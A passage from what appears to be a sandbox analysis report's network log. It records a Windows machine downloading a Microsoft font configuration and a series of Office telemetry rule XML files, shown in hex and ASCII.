R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	49753	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:17 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-28 10:05:17 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=59607 Date: Thu, 28 Nov 2024 10:05:17 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-28 10:05:17 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.7	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:17 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:17 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:17 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 2bae3e0a-f01e-0085-5747-4188ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100517Z-174f78459685726chC1EWRsnbg0000000ydg0000000013t7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:17 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.7	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:17 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:17 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:17 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2f4d5d7c-501e-005b-0244-40d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100517Z-174f7845968glpgnhC1EWR7uec0000000yd0000000006evr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:17 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.7	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:17 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:17 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:17 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 8b97b4d7-e01e-0003-5405-410fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100517Z-174f7845968ljs8phC1EWRe6en0000000y7g000000000ep7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:17 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.7	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:18 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:20 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 89e88ad2-001e-0065-4491-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100520Z-174f7845968zgtf6hC1EWRqd8s0000000r9g000000002fs0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:20 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.7	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:19 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:19 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: a4f00822-e01e-0033-081e-414695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100519Z-174f7845968zgtf6hC1EWRqd8s0000000r900000000031fw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:19 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.7	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:20 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:20 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: d3507608-601e-003d-4b91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100520Z-174f7845968zgtf6hC1EWRqd8s0000000r8g000000003g3m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:21 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.7	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:20 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:20 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: dc0e5a4e-901e-005b-0191-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100520Z-174f7845968vqt9xhC1EWRgten0000000ya0000000005pwd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:20 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.7	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:20 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:20 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5810d2d2-301e-0000-6891-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100520Z-174f7845968kdththC1EWRzvxn0000000ap0000000003qme x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:20 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.7	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:22 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:22 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: fac497c4-501e-008f-4391-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100522Z-174f7845968frfdmhC1EWRxxbw0000000y7g000000009e39 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:22 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.7	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:22 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:22 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 8bf79252-001e-0028-5c50-41c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100522Z-174f7845968l4kp6hC1EWRe8840000000ykg000000002mka x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:23 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.7	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:22 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:22 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e52ede4a-001e-0017-0591-3f0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100522Z-174f7845968glpgnhC1EWR7uec0000000yhg000000000024 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:23 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.7	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:23 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
